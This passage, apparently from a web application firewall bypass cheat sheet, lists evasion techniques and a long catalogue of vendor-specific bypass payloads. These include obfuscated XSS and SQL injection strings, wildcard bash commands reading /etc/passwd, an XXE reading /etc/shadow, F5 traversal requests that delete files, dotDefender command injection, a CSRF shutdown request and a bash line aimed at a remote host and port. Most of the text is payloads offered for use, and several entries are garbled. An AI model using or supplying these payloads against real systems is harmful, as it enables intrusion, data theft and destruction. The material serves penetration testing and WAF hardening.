Bypassed: <ScRipT>alert()</sCRipT>
Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL Encoding
- Encode normal payloads with % encoding/URL encoding.
- Can be done with online tools like this.
- Burp includes a in-built encoder/decoder.
Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Unicode Normalization
- ASCII characters in unicode encoding encoding provide great variants for bypassing.
- You can encode entire/part of the payload for obtaining results.
Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>
Blocked: /?redir=http://google.com
Bypassed: /?redir=http://googleγcom (Unicode alternative)
Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: <marquee loop=1 onfinish=alert(1)>x (Unicode alternative)
Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. HTML Representation
- Often web apps encode special characters into HTML encoding and render them accordingly.
- This leads us to basic bypass cases with HTML encoding (numeric/generic).
Standard: "><img src=x onerror=confirm()>
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)
5. Mixed Encoding
- Sometimes, WAF rules often tend to filter out a specific type of encoding.
- This type of filters can be bypassed by mixed encoding payloads.
- Tabs and newlines further add to obfuscation.
Obfuscated:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
6. Using Comments
- Comments obfuscate standard payload vectors.
- Different payloads have different ways of obfuscation.
Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>
Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--
7. Double Encoding
- Often WAF filters tend to encode characters to prevent attacks.
- However poorly developed filters (no recursion filters) can be bypassed with double encoding.
Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E
8. Wildcard Obfuscation
- Globbing patterns are used by various command-line utilities to work with multiple files.
- We can tweak them to execute system commands.
- Specific to remote code execution vulnerabilities on linux systems.
Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s
Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]
9. Dynamic Payload Generation
- Different programming languages have different syntaxes and patterns for concatenation.
- This allows us to effectively generate payloads that can bypass many filters and rules.
Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>
Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd
Bash allows path concatenation for execution.
Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated: <iframe/onload='this["src"]="jav"+"as	cr"+"ipt:al"+"er"+"t()"';>
9. Junk Characters
- Normal payloads get filtered out easily.
- Adding some junk chars helps avoid detection (specific cases only).
- They often help in confusing regex based firewalls.
Standard: <script>alert()</script>
Obfuscated: <script>+-+-1-+-+alert(1)</script>
Standard: <BODY onload=alert()>
Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>
NOTE: The above payload can break the regex parser to cause an exception.
Standard: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
10. Line Breaks
- Many WAF with regex based filtering effectively blocks many attempts.
- Line breaks (CR/LF) can break firewall regex and bypass stuff.
Standard: <iframe src=javascript:confirm(0)">
Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">
11. Uninitialized Variables
- Uninitialized bash variables can evade bad regular expression based filters and pattern match.
- These have value equal to null/they act like empty strings.
- Both bash and perl allow this kind of interpretations.
BONUS: Variable names can have any number of random characters. I have represented them here as
$aaaaaa,$bbbbbb, and so on. You can replace them with any number of random chars like$ushdjahand so on. ;)
-
Level 1 Obfuscation: Normal
Standard:/bin/cat /etc/passwd
Obfuscated:/bin/cat$u /etc/passwd$u -
Level 2 Obfuscation: Postion Based
Standard:/bin/cat /etc/passwd
Obfuscated:$u/bin$u/cat$u $u/etc$u/passwd$u -
Level 3 Obfuscation: Random characters
Standard:/bin/cat /etc/passwd
Obfuscated:$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
An exotic payload crafted:
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
12. Tabs and Line Feeds
- Tabs often help to evade firewalls especially regex based ones.
- Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.
Standard: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
Variant: <IMG SRC=" jav ascri pt:alert ();">
Standard: http://test.com/test?id=1 union select 1,2,3
Standard: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Standard: <iframe src=javascript:alert(1)></iframe>
Obfuscated:
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
13. Token Breakers
-
Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
-
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
-
However, the request must still remain valid while using token-breakers.
-
Case: Unknown Token for the Tokenizer
- Payload:
?id=β-sqlite_version() UNION SELECT password FROM users --
- Payload:
-
Case: Unknown Context for the Parser (Notice the uncontexted bracket)
- Payload 1:
?id=123);DROP TABLE users -- - Payload 2:
?id=1337) INTO OUTFILE βxxxβ --
- Payload 1:
TIP: More payloads can be crafted via this cheat sheet.
14. Obfuscation in Other Formats
- Many web applications support different encoding types and can interpret the encoding (see below).
- Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
Case: IIS
- IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.
- We can encode our payload and send the encoded parameters with the query.
Original Request:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
Obfuscated Request + URL Encoding:
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):
TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.
- Query string and body need to be encoded.
- Url-decoded parameters in query string and body.
- Equal sign and ampersand needed to be encoded as well (no url-encoding).
- Query string and body need to be encoded.
- Url-decoded parameters in query string and body afterwards.
- Equal sign and ampersand should not be encoded in any way.
- Query string in its original format (could be url-encoded as usual).
- Body could be sent with/without url-encoding.
- Equal sign and ampersand should not be encoded in any way.
- Query string in its original format (could be url-encoded as usual).
- Body could be sent with/without url-encoding.
- Equal sign and ampersand should not be encoded in any way.
- Query string in its original format (could be url-encoded as usual).
- Body could be sent with/without url-encoding.
- Equal sign and ampersand should not be encoded in any way.
- This attack method is based on how a server interprets parameters with the same names.
- Possible bypass chances here are:
- The server uses the last received parameter, and WAF checks only the first.
- The server unites the value from similar parameters, and WAF checks them separately.
- The idea is to enumerate how the parameters are being interpreted by the server.
- In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
- Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
- HPF is based on the principle where the server unites the value being passed along the parameters.
- We can split the payload into different components and then pass the values via the parameters.
Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIP: A real life example how bypasses can be crafted using this method can be found here.
- We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
- When the site decodes the string, the payload gets triggered.
Example request:
GET /page.php?p=βγΈγ°scriptγΈalert(1)γ°/scriptγΈ HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and
then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.
Final URL encoded payload:
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
- The null bytes are commonly used as string terminator.
- This can help us evade many web application filters in case they are not filtering out the null bytes.
Payload examples:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>
- RFC states that NodeNames cannot begin with whitespace.
- But we can use special chars like
%,//,!,?, etc.
Examples:
<// style=x:expression28εwrite(1)29ε>- Works upto IE7 (Source)<!--[if]><script>alert(1)</script -->- Works upto IE9 (Reference)<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>- Works in IE7 (Reference)<%div%20style=xss:expression(prompt(1))>- Works Upto IE7
- Every browser has their own specific charset of separators.
- We can fuzz charset range of
0x00to0xFFand get the set of separators for each browser. - We can use these separators in places where a space is required.
Here is a compiled list of separators by @Masato Kinugawa:
- IExplorer:
0x09,0x0B,0x0C,0x20,0x3B - Chrome:
0x09,0x20,0x28,0x2C,0x3B - Safari:
0x2C,0x3B - FireFox:
0x09,0x20,0x28,0x2C,0x3B - Opera:
0x09,0x20,0x2C,0x3B - Android:
0x09,0x20,0x28,0x2C,0x3B
An exotic payload example:
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
- This method aims at finding a way of exploitation not considered by the WAF developers.
- Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
- This payload is accepted and executed by the server after going through the firewall.
Some common keywords overlooked by WAF developers:
- JavaScript functions:
windowparentthisself
- Tag attributes:
onwheelontoggleonfilterchangeonbeforescriptexecuteondragstartonauxclickonpointeroversrcdoc
- SQL Operators
lpadfieldbit_count
Example Payloads:
- Case: XSS
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
- Case: SQLi
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
Many alternatives to the original JavaScript can be used, namely:
However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
- Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
- Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
- Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
- Find out the ciphers supported by the server (tools like SSLScan helps here).
- If a specific cipher not supported by WAF but by the server, is found, voila!
- Initiating a new connection to the server with that specific cipher should smuggle our payload in.
Tool: abuse-ssl-bypass-waf
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
CLI tools like cURL can come very handy for PoCs:
curl --ciphers <cipher> -G <test site> -d <payload with parameter>
- Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.
- By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.
- Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
- Once done, attach your payload to the request after filling the limit with garbage.
A similar technique was used to bypass Google Cloud Platform WAF.
- Often old historical DNS records provide information about the location of the site behind the WAF.
- The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.
TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.
Tool: bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
- Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
- This shared secret, if leaked/known, can be used to bypass all protections within the WAF.
- Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
- Usually some
*-sync-requestkeywords or a shared token value is used as the secret. - Often adding specific headers may trigger a similar whitelist behaviour.
Now when making a request to the server, you can append it as a parameter:
http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True
A real life example how this works can be found at this blog.
- The target is to fool the WAF/server into believing it was from their internal network.
- Adding some spoofed headers to represent the internal network, does the trick.
- With each request some set of headers are to be added simultaneously thus spoofing the origin.
- The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.
Some common headers used:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
- There are a lot of known bypasses of various web application firewalls (see section).
- With the help of google dorks, we can easily find bypasses.
Before anything else, you should hone up skills from Google Dorks Cheat Sheet.
-
Normal search:
+<wafname> waf bypass -
Searching for specific version exploits:
"<wafname> <version>" (bypass|exploit) -
For specific type bypass exploits:
"<wafname>" +<bypass type> (bypass|exploit) -
On Exploit DB:
site:exploit-db.com +<wafname> bypass -
On 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit) -
On Twitter:
site:twitter.com +<wafname> bypass -
On Pastebin
site:pastebin.com +<wafname> bypass
- SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
%C0%80'+union+select+col1,col2,col3+from+table+--+
"; select * from TARGET_TABLE --
- XSS Bypass by @kmkz
<script>eval(atob(decodeURIComponent("payload")))//
- Cross Site Scripting by @WAFNinja
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
- HTML Injection by @Global-Evolution
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
- XSS Bypass by @0xInfection
<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
- Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort
- Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort
- Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son
POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
author=1
- Protected Admin Scripts Bypass by @ed0x21son
http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
- REST API Disable Bypass by @ed0x21son
http://host/index.php/wp-json/wp/v2/users/
- SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<string>β union select current_user, 2#</string>
</soapenv:Body>
</soapenv:Envelope>
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
<svg onx=() onload=(confirm)(1)>
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
<svg/onload=alert()//
<a href="j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>`
- XSS Bypass by @Ahmet Γmit
<--`<img/src=` onerror=confirm``> --!>
javascript:{alert`0`}
<base href=//knoxss.me?
- XSS Bypass by @RenwaX23 (Chrome only)
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#
<a69/onclick=[1].findIndex(alert)>pew
- XSS Bypass by @0xInfection
<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
- SQLi by @WAFNinja
0 union/**/select 1,version(),@@datadir
- Firewall disable by (v5.0) by @hyp3rlinx
PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
- Remote Command Execution (v3.8-5) by @John Dos
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
- Persistent XSS (v4.0) by @EnableSecurity
GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
- R-XSS Bypass by @WAFNinja
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
- XSS Bypass by @0xInfection
<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=	parent	['open']	()%20draggable=True>dragme
<a69/onclick=[1].findIndex(alert)>click
- GET - XSS Bypass (v4.02) by @DavidK
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
- POST - XSS Bypass (v4.02) by @DavidK
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
claveXSS (v4.02) by @DavidK
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{
pcre_expressionunvaidated XSS by @Benjamin Mejri
/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0
- CSP Bypass by @Binar10
POST Type Query
POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>
var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
GET Type Query
http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
- XSS Bypass by @WAFNinja
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
- XSS Bypass by @WAFNinja
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
- XSS Bypass by @Aatif Khan
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)">
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
- POST Based XXE by @Anonymous
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143
<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>
- Directory Traversal by @Anastasios Monachos
Read Arbitrary File
/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
Delete Arbitrary File
POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded
_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
- SQLi Bypass from @Anonymous
state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+
<a href="jav%0Dascript:alert(1)">
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
- RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)
/???/??t+/???/??ss??
- RCE Payloads for PL3 by @theMiddle (v3.0)
/?in/cat+/et?/passw?
- SQLi Bypass by @Johannes Dahse (v2.2)
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
- SQLi Bypass by @Yuri Goltsev (v2.2)
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
- SQLi Bypass by @Ahmad Maulana (v2.2)
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
- SQLi Bypass by @Travis Lee (v2.2)
amUserId=1 union select username,password,3,4 from users
- SQLi Bypass by @Roberto Salgado (v2.2)
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
- SQLi Bypass by @Georgi Geshev (v2.2)
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
- SQLi Bypass by @SQLMap Devs (v2.2)
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
- SQLi Bypass by @HackPlayers (v2.2)
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>
<x/onclick=globalThis['\u0070r\u006f'+'mpt']<)>clickme
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
<a69/onclick=write()>pew
<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>
- Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar
- XSS Bypass by @David Y
<svg onload\r\n=$.globalEval("al"+"ert()");>
- XSS Bypass by @Emad Shanab
<svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
- XSS Bypass by @WAFNinja
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
- XSS Bypass by @i_bo0om
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
- XSS Bypass by @c0d3g33k
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
- SQLi Bypass by @DRK1WI
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
- SQLi by @Giuseppe D'Amore
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1
%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E
asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)
%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
?"></script><base%20c%3D=href%3Dhttps:\mysite>
- XSS Bypass by @0xInfection
<abc/onmouseenter=confirm%60%60>
%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
- GET Type CSRF Attack by @Michael Brooks (>= v.2.6.2)
Turn off Proface Machine
<img src=https://host:2000/ajax.html?action=shutdown>
Add a proxy
<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
- XSS Bypass by @Michael Brooks (>= v.2.6.2)
https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
- XSS Bypass by @EnableSecurity (>= v2.4)
%3CEvil%20script%20goes%20here%3E=%0AByPass
